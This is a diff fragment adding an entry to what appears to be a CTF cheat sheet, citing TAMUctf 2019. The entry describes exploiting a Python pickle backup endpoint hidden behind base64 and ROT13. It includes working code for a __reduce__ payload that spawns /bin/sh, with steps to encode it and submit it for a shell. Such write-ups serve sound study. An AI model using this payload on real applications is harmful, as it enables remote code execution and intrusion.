+ **Pattern:** Backup/restore endpoint round-trips Python objects through `pickle`, but encodes the result as `rot13(base64(pickle.dumps(obj)))` to obscure the format. The wrapper does not change exploitability — compose the inverse transforms before sending a `__reduce__` payload:
418
+
419
+ ```python
420
+ import base64, codecs, pickle, subprocess
421
+
422
+ def make_backup(obj):
423
+ s = base64.b64encode(pickle.dumps(obj)).decode()
424
+ return codecs.encode(s, 'rot-13')
425
+
426
+ def parse_backup(blob):
427
+ s = codecs.decode(blob, 'rot-13')
428
+ return pickle.loads(base64.b64decode(s))
429
+
430
+ class RunBinSh:
431
+ def __reduce__(self):
432
+ return (subprocess.Popen, (('/bin/sh',),))
433
+
434
+ print(make_backup(RunBinSh()))
435
+ # -> tNAwp3IvpUWiL2Im... paste into the "Load your backed up list" prompt
436
+ ```
437
+ Send the output into the app's load endpoint; pickle instantiates `subprocess.Popen(('/bin/sh',))` on deserialize and you land in a shell.
438
+
439
+ **Key insight:** Obfuscation layers like ROT13, hex, zlib, or XOR do not change the pickle threat model — just compose the inverse transforms before sending. Identify the wrapper by round-tripping a known value (e.g. encode an empty list locally, compare against the server output); any 1:1 byte-for-byte mapping is a substitution cipher and trivially invertible.
440
+
441
+ **References:** TAMUctf 2019 — VeggieTales, writeup 13424
442
+
443
+ ---